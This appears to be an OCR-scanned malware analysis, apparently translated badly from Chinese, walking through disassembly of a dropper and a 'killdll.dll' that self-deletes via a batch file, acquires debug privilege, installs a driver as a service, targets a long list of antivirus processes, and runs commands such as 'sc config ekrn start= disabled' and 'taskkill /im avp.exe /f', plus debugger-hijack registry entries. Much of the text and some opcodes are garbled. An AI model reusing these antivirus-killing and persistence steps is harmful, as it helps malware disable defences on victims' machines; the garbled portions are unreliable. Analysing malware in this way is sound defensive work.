004014ED |. 8D9424 18020000

004014F4 |. F2:AE
004014F6 |. F7D1
004014F8 |. 2BF9
004014FA |. 6A5C
004014FC |. 8BC1
004014FE |. 8BF7
00401500 |. 8BFA
00401502 |. C1E9 02
00401505 |. F3:A5
00401507 |. 8BC8
00401509 |. 83E103
0040150C |. F3:A4
0040150E |. 8D8C24 1C020000
00401515 |. 51

00401516 |. E8 05080000
0040151B |. 83C4 08
0040151E |. 85CO0
00401520 |. 7403
00401522 |. (€600 00
00401525 |> 6A 00
00401527 |. 68 80000000
0040152C |. 6A 02
0040152E |. 6A 00
00401530 |. 6A 00
00401532 |. 8D9424 28010000
00401539 |. 68 00000040

GENERIC_WRITE
0040153E |. 52

0040153F FF15 74604000
00401545 8BFO
00401547 83FE FF
0040154A 74 6F

I
I
I
|
0040154C |. 8D8424 14010000
I
I
I

00401553 8D8C24 18020000
0040155A 50

0040155B 8D5424 14
0040155F |. 51

00401560 |. 8D4424 18
00401564 |. 52

00401565 |. 50

00401566 |. 8D8C24 2C030000

0040156D |. 68 30704000
del "%s"
if exist "%s" goto Repeat

rmdir %s

del "%s""

00401572 |. 51

00401573 |. FF15 10614000

00401579 |. 8DBC24 34030000
.

00401580 83C9 FF

XOr eax,eax
lea edx,dword ptr ss:[esp+218]

repne scas byte ptr es:[edi]

not ecx

sub edi,ecx

push 5C

MOV eax,ecx

mov esi,edi

mov edi,edx

shr ecx,2

rep movs dword ptr es:[edi],dword ptr ds:[es>
MoV ecx,eax

and ecx,3

rep movs byte ptr es:[edi],byte ptr ds:[esi]

lea ecx,dword ptr ss:[esp+21C]

push ecx

call UnPacked.00401D20

add esp,8

test eax,eax
je short UnPacked.00401525

mov byte ptr ds:[eax],0

push 0 ; /hTemplateFile = NULL
push 80 ; |Attributes = NORMAL
push 2 ; |Mode = Create_ ALWAYS
push 0 ; |pSecurity = NULL
push 0 ; |[ShareMode = 0
lea edx,dword ptr ss:[esp+128] |

push 40000000 ; |Access =
push edx ; |FileName

call dword ptr ds:[<&kernel32.CreateFileA>] ; \CreateFileA
mov esi,eax
cmp esi,-1
je short UnPacked.004015BB
lea eax,dword ptr ss:[esp+114]
lea ecx,dword ptr ss:[esp+218]

push eax 5 [<%s>
lea edx,dword ptr ss:[esp+14] i
push ecx ;| <%s>
lea eax,dword ptr ss:[esp+18] i
push edx ;| <%s>
push eax ;| <%s>
lea ecx,dword ptr ss:[esp+32C] |
push UnPacked.00407030 ; |Format = ":Repeat
push ecx ;s
call dword ptr ds:[<&user32.wsprintfA>] ; \wsprintfA

lea edi,dword ptr ss:[esp+334]
or ecx,FFFFFFFF



00401583 |. 33C0 XOr eax,eax

00401585 |. 83C4 18 add esp,18

00401588 |. F2:AE repne scas byte ptr es:[edi]

0040158A |. F7D1 not ecx

0040158C |. 8D5424 0C lea edx,dword ptr ss:[esp+C]

00401590 |. 6A 00 push 0 ; /pOverlapped = NULL
00401592 |. 49 dec ecx |

00401593 |. 52 push edx ; |pBytesWritten
00401594 |. 8D8424 24030000 lea eax,dword ptr ss:[esp+324] Y

00401598 |. 51 push ecx ; |nBytesToWrite
0040159C |. 50 push eax ; |Buffer
0040159D |. 56 push esi ; |hFile
0040159E |. FF15 7C604000 call dword ptr ds:[ <&kernel32.WriteFile>] ; \WriteFile
004015A4 |. 56 push esi ; /hObject
004015A5 |. FF15 84604000 call dword ptr ds:[<&kernel32.CloseHandle>] ; \CloseHandle
004015AB |. 8D8C24 14010000 lea ecx,dword ptr ss:[esp+114]

004015B2 |. 6A 00 push 0 ; /ShowState = SW_HIDE
004015B4 |. 51 push ecx ; |CmdLine
004015B5 |. FF15 2C604000 call dword ptr ds:[ <&kernel32.WinExec>] ; \WinExec
004015BB |> 5F pop edi

004015BC |. 5E pop esi

004015BD |. 5B pop ebx

004015BE |. 81C4 04050000 add esp,504

004015C4 \. C3 retn

by

HEALEE AN :

:Repeat

del "C:\Documents and Settings\Administrator\5%1fii\g1[1]\UnPacked.exe"

if exist "C:\Documents and Settings\Administrator\: [i\g1[1]\UnPacked.exe" goto Repeat

rmdir C:\Documents and Settings\Administrator\ 5 fi\g1[1]
del "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_undelme.bat"

JERE P (R SRR RE,  FIERA T KilldilLdll

—. 2

10004A60 83EC 14 sub esp,14

10004A63 8D4424 00 lea eax,dword ptr ss:[esp]

10004A67 50 push eax

10004A68 6A 28 push 28

10004A6A FF15 68040010 call dword ptr ds:[<&KERNEL32.GetCurrentProc>;
kernel32.GetCurrentProcess

10004A70 50 push eax

10004A71

FF15 14040010

advapi32.0penProcessToken

call dword ptr

10004A77 85C0 test eax,eax

10004A79 75 04 jnz short killdIl.10004A7F
10004A7B 83C4 14 add esp,14

10004A7E C3 retn

10004A7F

8D4C24 08

10004A83 51

lea ecx,dword ptr ss:[esp+8]
push ecx

ds:[<&ADVAPI32.0penProcessTok>;



10004A84 68 E40B0010 push killdll.10000BE4

10004A89 6A 00 push 0

10004A8B FF15 0C040010 call dword ptr
advapi32.LookupPrivilegeValueA

10004A91 85C0 test eax,eax

10004A93 75 04 jnz short killdIl.10004A99

10004A95 83C4 14 add esp,14

10004A98 C3 retn

10004A99 8B4424 00 mov eax,dword ptr ss:[esp]

10004A9D 6A 00 push 0

10004A9F 6A 00 push 0

10004AA1 8D5424 0C lea edx,dword ptr ss:[esp+C]
10004AA5 6A 10 push 10

10004AA7 52 push edx

10004AA8 6A 00 push 0

10004AAA 50 push eax

10004AAB C74424 1C 01000000 mov dword ptr ss:[esp+1C],1
10004AB3 C74424 28 02000000 mov dword ptr ss:[esp+28],2
10004ABB FF15 10040010 call dword ptr
advapi32.AdjustTokenPrivileges

10004AC1 83C4 14 add esp,14

10004AC4 C3 retn

. QI3 aec.sys

10003FEA 8B5424 14 mov edx,dword ptr ss:[esp+14]
10003FEE 6A 00 push 0

10003FFO0 6A 00 push 0

10003FF2 6A 02 push 2

10003FF4 6A 00 push 0

10003FF6 6A 00 push 0

10003FF8 68 00000040 push 40000000

10003FFD 52 push edx

10003FFE FF15 94040010 call dword ptr ds:[ <&KERNEL32.CreateFileA>]
10004004 8BFO mov esi,eax

10004006 85F6 test esi,esi

10004008 75 05 jnz short killdll.1000400F

1000400A 5F pop edi

1000400B 5E pop esi

1000400C 5B pop ebx

1000400D 59 pop ecx

1000400E C3 retn

1000400F 8D4424 0C lea eax,dword ptr ss:[esp+C]
10004013 6A 00 push 0

10004015 50 push eax

10004016 53 push ebx

10004017 57 push edi

10004018 FF15 98040010 call dword ptr ds:[ <&KERNEL32.LockResource>] ; kernel32.SetHandleCount
1000401E 50 push eax

1000401F 56 push esi

10004020 FF15 9C040010 call dword ptr ds:[ <&KERNEL32.WriteFile>]
10004026 56 push esi

; SeDebugPrivilege

ds:[<&ADVAPI32.LookupPrivileg>;

ds:[<&ADVAPI32.AdjustTokenPri>;

; kernel32.CreateFileA

; kernel32.WriteFile



10004027
1000402D
1000402E
1000402F
10004032
10004033
10004034

FF15 A0040010
5F

5E

83C8 FF

5B

59

C3

call dword ptr ds:[ <&KERNEL32.CloseHandle>]
pop edi

pop esi

or eax,FFFFFFFF

pop ebx

pop ecx

retn

; kernel32.CloseHandle

. WhHERE, A& AL CCENTER.EXE, CCENTER.EXE J&%ii /2 A% B 84 I AH A2 e dE 2

100049E0
100049E6
100049E7
100049E8
100049EA
100049EC
100049F1
100049F3
100049F7
100049F8
100049F9
100049FE
10004A05
10004A09
10004A0A
10004A0B
10004A10
10004A13
10004A15
10004A17
10004A1B
10004A1C
10004A1D
10004A22
10004A24
10004A26
10004A2A
10004A2B
10004A2C
10004A31
10004A34
10004A36
10004A38
10004A39
10004A3B
10004A3C
10004A42
10004A43
10004A44
10004A4A
10004A4B
10004A4D
10004A4E

81EC 28010000
56

57

6A 00

6A 02

E8 CB060000
8BF0

8D4424 08

50

56

E8 B8060000
8BBC24 34010000
8D4C24 2C

51

57

E8 C0060000
83C4 08

85C0

74 21

8D5424 08

52

56

E8 8E060000
85C0

74 1D

8D4424 2C

50

57

E8 9F060000
83C4 08

85C0

75 DF

5F

BO 01

5E

81C4 28010000
C3

56

FF15 A0040010
5F

32C0

5E

81C4 28010000

sub esp,128
push esi
push edi
push 0

push 2

call <jmp.&KERNEL32.CreateToolhelp32Snapshot>

mov esi,eax
lea eax,dword ptr ss:[esp+8]
push eax
push esi
call <jmp.&KERNEL32.Process32First>
mov edi,dword ptr ss:[esp+134]
lea ecx,dword ptr ss:[esp+2C]
push ecx
push edi
call killdIl.100050D0
add esp,8
test eax,eax
je short killdll.10004A38
lea edx,dword ptr ss:[esp+8]
push edx
push esi
call <jmp.&KERNEL32.Process32Next>
test eax,eax
je short killdll.10004A43
lea eax,dword ptr ss:[esp+2C]
push eax
push edi
call killdIl.100050D0
add esp,8
test eax,eax
jnz short killdll.10004A17
pop edi
mov al,1
pop esi
add esp,128
retn
push esi
call dword ptr ds:[ <&KERNEL32.CloseHandle>]
pop edi
xor al,al
pop esi
add esp,128

J/AFAE AL 1z )1

[IAAELE, AL3E0, 3Z[FI0

; kernel32.CloseHandle



10004A54

C3

retn

AAEAE, ALIRIEIL, FHANAAE, ALIZ[FI0

VUL AR, WIEAT B IR AT

1)# i C:\WINDOWS\system32\drivers 313 F (] AsyncMac.sys

//MIB AsyncMac.sys
1000497B 8D4C24 00
1000497F 68 BOOB0010
10004984 51

10004985 FF15 C4040010
1000498B 8D5424 00
1000498F 52

10004990 FF15 60040010

lea ecx,dword ptr ss:[esp]

push killdll.10000BBO

push ecx

call dword ptr ds:[ <&KERNEL32.IstrcatA>]
lea edx,dword ptr ss:[esp]

push edx

call dword ptr ds:[ <&KERNEL32.DeleteFileA>] ; kernel32.DeleteFileA

; \drivers\AsyncMac.sys

: kernel32.IstrcatA

] FE N B 5% ORI — A AsyncMac.sys ik, ik B H Y

10003FAQ
10003FA1
10003FA2
10003FA3
10003FA4
10003FA9

51
53
56
57
68 04060010

FF15 A8040010

kernel32.GetModuleHandleA

10003FAF
10003FB3
10003FB5
10003FB9
10003FBF
10003FCO
10003FC1
10003FC2
10003FC8
10003FCA
10003FCC
10003FCE
10003FCF
10003FDO
10003FD6
10003FD8
10003FDA
10003FDC
10003FDD
10003FDE
10003FE4
10003FE6
10003FE8
10003FEA
10003FEE
10003FFO0
10003FF2
10003FF4
10003FF6

8B4C24 18
8BFO

8B4424 1C
81E1 FFFFO000
50

51

56

FF15 88040010
8BF8

85FF

74 5F

57

56

FF15 8C040010
8BD8

85DB

74 51

57

56

FF15 90040010
8BF8

85FF

74 43

8B5424 14

6A 00

6A 00

6A 02

6A 00

6A 00

push ecx
push ebx
push esi
push edi
push killdll.10000604 ; killdil.dll

call dword ptr ds:[<&KERNEL32.GetModuleHand!>;

mov ecx,dword ptr ss:[esp+18]

mov esi,eax

mov eax,dword ptr ss:[esp+1C]

and ecx,0FFFF

push eax

push ecx

push esi

call dword ptr ds:[ <&KERNEL32.FindResourceA>>; kernel32.FindResourceA
mov edi,eax

test edi,edi
je short killdll.1000402D

push edi

push esi

call dword ptr ds:[ <&KERNEL32.SizeofResource>; kernel32.SizeofResource
mov ebx,eax

test ebx,ebx

je short killdll.1000402D

push edi

push esi

call dword ptr ds:[<&KERNEL32.LoadResource>] ; kernel32.LoadResource
mov edi,eax

test edi,edi
je short killdll.1000402D

mov edx,dword ptr ss:[esp+14]

push 0

push 0

push 2

push 0

push 0



10003FF8
10003FFD
10003FFE
10004004
10004006
10004008
1000400A
1000400B
1000400C
1000400D
1000400E
1000400F
10004013
10004015
10004016
10004017
10004018
1000401E
1000401F
10004020
10004026
10004027
1000402D
1000402E
1000402F
10004032
10004033
10004034

68 00000040
52

FF15 94040010
8BFO

85F6

75 05

5F

5E

5B

59

C3

8D4424 0C

6A 00

50

53

57

FF15 98040010
50

56

FF15 9C040010
56

FF15 A0040010
5F

5E

83C8 FF

5B

59

C3

push 40000000

push edx

call dword ptr ds:[ <&KERNEL32.CreateFileA>]
mov esi,eax

test esi,esi
jnz short killdll.1000400F

pop edi

pop esi

pop ebx

pop ecx

retn

lea eax,dword ptr ss:[esp+C]
push 0

push eax

push ebx

push edi

; kernel32.CreateFileA

call dword ptr ds:[ <&KERNEL32.LockResource>] ; kernel32.SetHandleCount

push eax

push esi

call dword ptr ds:[ <&KERNEL32.WriteFile>]
push esi

call dword ptr ds:[ <&KERNEL32.CloseHandle>]
pop edi

pop esi

or eax,FFFFFFFF

pop ebx

pop ecx

retn

)RS, FR N 5K 5) AsyncMac.sys

10004180
10004184
10004186
10004188
1000418A
1000418C
1000418E
1000418F
10004191
10004193
10004195
10004197
1000419C
100041A1
100041A2
100041A8
100041AA
100041B0
100041B5
100041B7
100041B9
100041BE

8B5424 2C
6A 00

6A 00

6A 00

6A 00

6A 00

52

6A 00

6A 03

6A 01

6A 10

68 30060010
68 24060010
57

FF15 24040010
8BFO

FF15 C8040010
3D 31040000
75 1E

6A 10

68 24060010
57

mov edx,dword ptr ss:[esp+2C]
push 0

push 0

push 0

push 0

push 0

push edx

push 0

push 3

push 1

push 10

push killdll.10000630
push killdll.10000624
push edi

; kernel32.WriteFile

; kernel32.CloseHandle

; RCTV
; AsyncMac

call dword ptr ds:[ <&ADVAPI32.CreateServiceA>; advapi32.CreateServiceA

mov esi,eax

call dword ptr ds:[ <&KERNEL32.GetLastError>] ; ntdll.RtiGetLastWin32Error

cmp eax, 431
jnz short killdll.100041D5
push 10

push killdll. 10000624
push edi

; AsyncMac



100041BF
100041C5
100041C7
100041CB
100041CC
100041CE
100041CF
100041D5
100041D7
100041D9
100041DA
100041EO0
100041E2
100041E4
100041E6
100041E8
100041EA
100041EF
100041F4
100041FA
100041FB

FF15 2C040010

8BFO

8D4424 0C

50
6A 01
56

FF15 34040010

6A 00
6A 00

56

FF15 38040010

6A 00
6A 00
6A 03
6A 00
6A 03

68 000000C0
68 14060010
FF15 94040010

56

8B35 30040010

advapi32.CloseServiceHandle

10004201
10004203
10004205
10004206
10004208
10004209
10004208
1000420C
1000420D
10004210
10004211
10004215
10004216

8BES8
FFD6
57
FFD6
5E
8BC5
5F
5D

83C4 1C

C3

8B7424 2C

56

8B35 30040010

advapi32.CloseServiceHandle

1000421C
1000421E
1000421F
10004221
10004222
10004224
10004225
10004226
10004229
1000422A
1000422C
1000422D
1000422E
10004231

FFD6
57
FFD6
5E
8BC5
5F
5D

83C4 1C

C3
8BC5
5F
5D

83C4 1C

C3

call dword ptr ds:[ <&ADVAPI32.0penServiceA>] ; advapi32.0penServiceA
mov esi,eax

lea eax,dword ptr ss:[esp+C]

push eax

push 1

push esi

call dword ptr ds:[ <&ADVAPI32.ControlService>; advapi32.ControlService
push 0

push 0

push esi

call dword ptr ds:[ <&ADVAPI32.StartServiceA>>; advapi32.StartServiceA
push 0

push 0

push 3

push 0

push 3

push C0000000

push killdll.10000614

call dword ptr ds:[ <&KERNEL32.CreateFileA>]
push esi

; WAKILLPS_Drv
; kernel32.CreateFileA

mov esi,dword ptr

mov ebp,eax
call esi
push edi
call esi
pop esi
mov eax,ebp
pop edi
pop ebp
add esp,1C
retn
mov esi,dword ptr ss:[esp+2C]
push esi
mov esi,dword ptr

call esi

push edi

call esi

pop esi

mov eax,ebp
pop edi

pop ebp

add esp,1C
retn

mov eax,ebp
pop edi

pop ebp

add esp,1C
retn

ds:[<&ADVAPI32.CloseServic>;

ds:[<&ADVAPI32.CloseServic>;
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avp.exe. safeboxTray.exe. 360Safebox.exe. 360tray.exe. antiarp.exe. ekrn.exe. RsAgent.exe. egui.exe. RavMon.exe,
RavMonD.exe . RavTask.exe. CCenter.exe. RavStub.exe. RsTray.exe. ScanFrm.exe. Rav.exe. AgentSvr.exe.
QQDoctor.exe. McProxy.exe. McNASvc.exe. Mcshield.exe. rsnetsvr.exe. MpfSrv.exe. MPSVC.EXE. MPSVC3.EXE.
KISSvc.exe. kmailmon.exe. KavStart.exe. KPFW32.EXE. KVMonXP.KXP. KVSrvXP.exe. ccSetMgr.exe. ccEvtMgr.exe,
defwatch.exe. rtvscan.exe. ccapp.exe. vptray.exe. mcupdmgr.exe. mcproxy.exe. mcshield.exe. MPFSrv.exe.
mcsysmon.exe. mcmscsve.exe. mcnasve.exe. mcagent.exe. mcshell.exe. mcinsupd.exe. bdagent.exe. livesrv.exe,
vsserv.exe, Xcommsvr.exe

fift s e 2 i, N T AR P HERE -

1000470F 6A 00 push 0

10004711 6A 02 push 2

10004713 E8 A4090000 call <jmp.&KERNEL32.CreateToolhelp32Snapshot>
10004718 85C0 test eax,eax

1000471A 894424 18 mov dword ptr ss:[esp+18],eax

1000471E 0F84 D8010000 je killdIl.100048FC

10004724 8D8C24 F4000000 lea ecx,dword ptr ss:[esp+F4]

1000472B C78424 F4000000 2801>mov dword ptr ss:[esp+F4],128

10004736 51 push ecx

10004737 50 push eax

10004738 E8 79090000 call <jmp.&KERNEL32.Process32First>

1000473D 85C0 test eax,eax

1000473F 0F84 B7010000 je killdll.100048FC

10004745 8BAC24 20040000 mov ebp,dword ptr ss:[esp+420]

1000474C 8B35 54040010 mov esi,dword ptr ds:[ <&KERNEL32.WinExec>] ; kernel32.WinExec
10004752 8B3D 50040010 mov edi,dword ptr ds:[ <&KERNEL32.Sleep>] ; kernel32.Sleep
10004758 8D5C24 1C lea ebx,dword ptr ss:[esp+1C]

1000475C C74424 10 35000000 mov dword ptr ss:[esp+10],35

10004764 8B03 mov eax,dword ptr ds:[ebx]

10004766 8D9424 18010000 lea edx,dword ptr ss:[esp+118]

1000476D 52 push edx

1000476E 50 push eax

1000476F E8 5C090000 call killdll.100050D0

10004774 83C4 08 add esp,8

10004777 85C0 test eax,eax

10004779 OF85 4D010000 jnz killdIl.100048CC

1000477F 8B8C24 FC000000 mov ecx,dword ptr ss:[esp+FC]

10004786 8D9424 FO000000 lea edx,dword ptr ss:[esp+F0]

1000478D 50 push eax

1000478E 52 push edx

1000478F 50 push eax

10004790 50 push eax

10004791 8D4424 24 lea eax,dword ptr ss:[esp+24]

10004795 6A 04 push 4

10004797 50 push eax

10004798 68 04202200 push 222004

1000479D 55 push ebp

1000479E 894C24 34 mov dword ptr ss:[esp+34],ecx

100047A2 FF15 C0040010 call dword ptr ds:[ <&KERNEL32.DeviceloContro>; kernel32.DeviceloControl

100047A8 8D8C24 18010000 lea ecx,dword ptr ss:[esp+118]



100047AF 51

100047B0 68 04090010
100047B5 E8 16090000
100047BA 83C4 08
100047BD 85C0
100047BF 75 18
100047C1 50

100047C2 68 DC080010
start= disabled

100047C7 FFD6
100047C9 68 C8000000
100047CE FFD7
100047D0 6A 00
100047D2 68 BC080010
ekrn.exe /f

100047D7 FFD6
100047D9 8D9424 18010000
100047E0 52

100047E1 68 B4080010
100047E6 E8 E5080000
100047EB 83C4 08
100047EE 85C0
100047F0 75 18
100047F2 50

100047F3 68 8C080010
disabled

100047F8 FFD6
100047FA 68 C8000000
100047FF FFD7
10004801 6A 00
10004803 68 6C080010
/f

10004808 FFD6
1000480A 8D8424 18010000
10004811 50

10004812 68 60080010
10004817 E8 B4080000
1000481C 83C4 08
1000481F 85C0
10004821 75 58
10004823 50

10004824 68 34080010
start= disabled

10004829 FFD6
1000482B 68 C8000000
10004830 FFD7
10004832 6A 00
10004834 68 08080010
start= disabled

10004839 FFD6
1000483B 68 C8000000
10004840 FFD7

push ecx
push killdll.10000904
call killdll.100050D0
add esp,8
test eax,eax
jnz short killdll.100047D9
push eax
push killdIl.100008DC

call esi
push 0C8
call edi
push 0
push killdll.100008BC

call esi
lea edx,dword ptr ss:[esp+118]
push edx
push killdll.100008B4
call killdIl.100050D0
add esp,8
test eax,eax
jnz short killdll.1000480A
push eax
push killdll.1000088C

call esi

push 0C8

call edi

push 0

push killdll.1000086C

call esi
lea eax,dword ptr ss:[esp+118]
push eax
push killdll.10000860
call killdll.100050D0
add esp,8
test eax,eax
jnz short killdll.1000487B
push eax
push killdll.10000834

call esi

push 0C8

call edi

push 0

push killdIl.10000808

call esi
push 0C8
call edi

; ekrn.exe

; cmd /c sc config ekrn

; cmd /c taskkill /im

; avp.exe

; cmd /c sc config avp start=

; emd /c taskkill /im avp.exe

; MPFSrv.exe

; ecmd /c sc config McNASvc

; cmd /c sc config MpfService



10004842 6A 00
10004844 68 DC070010
start= disabled

10004849 FFD6
1000484B 68 C8000000
10004850 FFD7
10004852 6A 00
10004854 68 B0070010
start= disabled

10004859 FFD6
1000485B 68 C8000000
10004860 FFD7
10004862 6A 00
10004864 68 84070010
start= disabled

10004869 FFD6
1000486B 68 C8000000
10004870 FFD7
10004872 6A 00
10004874 68 58070010
start= disabled

10004879 FFD6

1000487B 8D8C24 18010000

10004882 51

10004883 68 4C070010
10004888 E8 43080000
1000488D 83C4 08
10004890 85C0
10004892 75 38
10004894 50

10004895 68 24070010
start= disabled

1000489A FFD6
1000489C 68 C8000000
100048A1 FFD7
100048A3 6A 00
100048A5 68 F8060010
start= disabled

100048AA FFD6
100048AC 68 C8000000
100048B1 FFD7
100048B3 6A 00
100048B5 68 D0060010
start= disabled

100048BA FFD6
100048BC 68 C8000000
100048C1 FFD7
100048C3 6A 00
100048C5 68 A8060010
start= disabled

100048CA FFD6
100048CC 8B4424 10

push 0
push killdll.100007DC

call esi
push 0C8
call edi
push 0
push killdll.100007B0

call esi

push 0C8

call edi

push 0

push killdll. 10000784

call esi
push 0C8
call edi
push 0
push killdIl.10000758

call esi

lea ecx,dword ptr ss:[esp+118]

push ecx

push killdll.1000074C
call killdIl.100050D0
add esp,8

test eax,eax

jnz short killdIl.100048CC

push eax
push killdll.10000724

call esi
push 0C8
call edi
push 0
push killdll.100006F8

call esi
push 0C8
call edi
push 0
push killdll.100006D0

call esi
push 0C8
call edi
push 0
push killdIl.100006A8

call esi

mov eax,dword ptr ss:[esp+10]

; cmd /c sc config McProxy

; cmd /c sc config McShield

; cmd /c sc config mcmscsvc

; cmd /c sc config Mcshield

; bdagent.exe

; cmd /c sc config XCOMM

; cmd /c sc config LIVESRV

; cmd /c sc config scan

; cmd /c sc config VSSERV



100048D0 83C3 04 add ebx,4

100048D3 48 dec eax

100048D4 894424 10 mov dword ptr ss:[esp+10],eax
100048D8 ~ OF85 86FEFFFF jnz killdll.10004764

100048DE 6A 64 push 64

100048E0 FFD7 call edi

100048E2 8D9424 F4000000 lea edx,dword ptr ss:[esp+F4]
100048E9 8B4424 18 mov eax,dword ptr ss:[esp+18]
100048ED 52 push edx

100048EE 50 push eax

100048EF E8 BC070000 call <jmp.&KERNEL32.Process32Next>
100048F4 85C0 test eax,eax

100048F6 ~ OF85 5CFEFFFF jnz killdll.10004758

100048FC 8D7424 1C lea esi,dword ptr ss:[esp+1C]
10004900 BF 35000000 mov edi,35

10004905 8BOE mov ecx,dword ptr ds:[esi]
10004907 51 push ecx

10004908 E8 C3F9FFFF call killdIl.100042D0

1000490D 83C4 04 add esp,4

10004910 83C6 04 add esi,4

10004913 4F dec edi

10004914 ~ 75 EF jnz short killdIl.10004905
10004916 5F pop edi

10004917 5E pop esi

10004918 5D pop ebp

10004919 33C0 XOr eax,eax

1000491B 5B pop ebx

1000491C 81C4 0C040000 add esp,40C

10004922 C2 0400 retn 4
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cmd /c sc config ekrn start= disabled

cmd /c taskkill /im ekrn.exe /f

cmd /c sc config avp start= disabled

cmd /c taskkill /im avp.exe /f

cmd /c sc config McNASvc start= disabled
cmd /c sc config MpfService start= disabled
cmd /c sc config McProxy start= disabled
cmd /c sc config McShield start= disabled
cmd /c sc config mcmscsvc start= disabled
cmd /c sc config XCOMM start= disabled
cmd /c sc config LIVESRV start= disabled
cmd /c sc config scan start= disabled

cmd /c sc config VSSERV start= disabled

HPATESIE:, Sk % C:\WINDOWS\system32\svchost.exe

10004905 8BOE mov ecx,dword ptr ds:[esi]

10004907 51 push ecx

10004908 E8 C3F9FFFF call killdIl.100042D0 Ik RESSIER
{

100042D0 81EC 04020000 sub esp,204



100042D6
100042DB
100042DD
100042DE
100042DF
100042E0
100042E1
100042E5
100042EA
100042EC
100042EE
100042EF
100042F4
100042F6
100042FD
100042FF
10004301
10004302
10004306
10004307

B9 3F000000
33C0

53

55

56

57

8D7C24 14
68 FFO00000
F3:AB

66:AB

AA

B9 3F000000
33C0
8DBC24 18010000
F3:AB

66:AB

AA

8D4424 18
50

FF15 84040010

kernel32.GetSystemDirectoryA

1000430D
10004310
10004315
10004317
1000431B
1000431D
1000431F
10004321
10004323
10004325
10004328
1000432A
1000432C
1000432E
1000432F
10004332
10004334
10004336
1000433D
10004340
10004347
10004349

83C9 FF
BF 98060010
33C0
8D5424 14
F2:AE
F7D1
2BF9
8BD9
8BF7
83C9 FF
8BFA
F2:AE
8BCB
4F
C1E9 02
F3:A5
8BCB
8D9424 14010000
83E1 03
8B9C24 18020000
F3:A4
BF 4C060010

mov ecx,3F

XOr eax,eax

push ebx
push ebp
push esi
push edi

lea edi,dword ptr ss:[esp+14]
push OFF
rep stos dword ptr es:[edi]
stos word ptr es:[edi]
stos byte ptr es:[edi]

mov ecx,3F
XOr eax,eax

lea edi,dword ptr ss:[esp+118]
rep stos dword ptr es:[edi]
stos word ptr es:[edi]
stos byte ptr es:[edi]

lea eax,dword ptr ss:[esp+18]
push eax

call dword ptr

or ecx,FFFFFFFF
mov edi,killdll.10000698
XOr eax,eax
lea edx,dword ptr ss:[esp+14]
repne scas byte ptr es:[edi]
not ecx
sub edi,ecx
mov ebx,ecx
mov esi,edi
or ecx,FFFFFFFF
mov edi,edx
repne scas byte ptr es:[edi]
mov ecx,ebx
dec edi
shr ecx,2
rep movs dword ptr es:[edi],dword ptr ds:[es>
mov ecx,ebx
lea edx,dword ptr ss:[esp+114]
and ecx,3
mov ebx,dword ptr ss:[esp+218]
rep movs byte ptr es:[edi],byte ptr ds:[esi]
mov edi,killdll.1000064C

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

1000434E
10004351
10004353
10004355
10004357
10004359
1000435B
1000435D

83C9 FF

F2:AE

F7D1

2BF9

8BC1

8BF7

8BFA

8D9424 14010000

or ecx,FFFFFFFF
repne scas byte ptr es:[edi]
not ecx
sub edi,ecx
MOV eax,ecx
mov esi,edi
mov edi,edx
lea edx,dword ptr ss:[esp+114]

ds:[<&KERNEL32.GetSystemDirec>;

; \svchost.exe



10004364 C1E9 02 shr ecx,2

10004367 F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[es>
10004369 8BC8 MoV ecx,eax

10004368B 33C0 XOr eax,eax

1000436D 83E1 03 and ecx,3

10004370 F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[esi]
10004372 8BFB mov edi,ebx

10004374 83C9 FF or ecx,FFFFFFFF

10004377 F2:AE repne scas byte ptr es:[edi]

10004379 F7D1 not ecx

1000437B 2BF9 sub edi,ecx

1000437D 8BF7 mov esi,edi

1000437F 8BE9S mov ebp,ecx

10004381 8BFA mov edi,edx

10004383 83C9 FF or ecx,FFFFFFFF

10004386 F2:AE repne scas byte ptr es:[edi]

10004388 8BCD mov ecx,ebp

1000438A 4F dec edi

1000438B C1E9 02 shr ecx,2

1000438E F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[es>
10004390 8BCD mov ecx,ebp

10004392 8D4424 10 lea eax,dword ptr ss:[esp+10]

10004396 83E1 03 and ecx,3

10004399 50 push eax

1000439A F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[esi]
1000439C 8D8C24 18010000 lea ecx,dword ptr ss:[esp+118]
100043A3 51 push ecx

100043A4 68 02000080 push 80000002

100043A9 FF15 18040010 call dword ptr ds:[<&ADVAPI32.RegCreateKeyA>>;
advapi32.RegCreateKeyA

100043AF 85C0 test eax,eax

100043B1 75 20 jnz short killdll.100043D3

100043B3 8D7C24 14 lea edi,dword ptr ss:[esp+14]

100043B7 83C9 FF or ecx,FFFFFFFF

100043BA F2:AE repne scas byte ptr es:[edi]

100043BC F7D1 not ecx

100043BE 8D5424 14 lea edx,dword ptr ss:[esp+14]

100043C2 51 push ecx

100043C3 52 push edx

100043C4 6A 01 push 1

100043C6 50 push eax

100043C7 8B4424 20 mov eax,dword ptr ss:[esp+20]

100043CB 53 push ebx

100043CC 50 push eax

100043CD FF15 1C040010 call dword ptr ds:[<&ADVAPI32.RegSetValueExA>;
advapi32.RegSetValueExA

100043D3 8B4C24 10 mov ecx,dword ptr ss:[esp+10]

100043D7 51 push ecx

100043D8 FF15 20040010 call dword ptr ds:[<&ADVAPI32.RegCloseKey>] ; advapi32.RegCloseKey
100043DE 5F pop edi

100043DF 5E pop esi

100043E0 5D pop ebp



100043E1
100043E2
100043E8
}

1000490D
10004910
10004913
10004914

5B
81C4 04020000
C3

83C4 04
83C6 04
4F

~ 75 EF

S5)EI L IZIN S, AR R

JPR:E="
10004286

68 20000100

pop ebx
add esp,204
retn

add esp,4
add esi, 4
dec edi

jnz short killdIl.10004905  //{f§ Ak 3

push 10020 ; UNICODE

"PROFILE=C:\Documents and Settings\All Users"

1000428B
10004290
10004291
10004297
10004299
10004298
1000429F

68 24060010
57

FF15 2C040010
8BF0

EB 04

8B7424 2C

8B1D 30040010

advapi32.CloseServiceHandle

100042A5
100042A7
100042A9
100042AD
100042AE
100042B0
100042B1
100042B7
100042B8
100042BA
100042BB
100042BD
100042BE
100042BF
100042C0
100042C3

RIS

10004DFB
10004DFE
10004E02
10004E03

6)%f x5l ace.sys BEAT LTI AL K #54E

10004FAQ

85F6

74 11
8D4C24 0C
51

6A 01

56

FF15 34040010
56

FFD3

57

FFD3

5E

5B

5F

83C4 1C
C3

83C4 08
8D5424 04

52

FF15 60040010

E8 BBFDFFFF

push killdll. 10000624
push edi
call dword ptr ds:[<&ADVAPI32.0penServiceA>] ; advapi32.0penServiceA
mov esi,eax
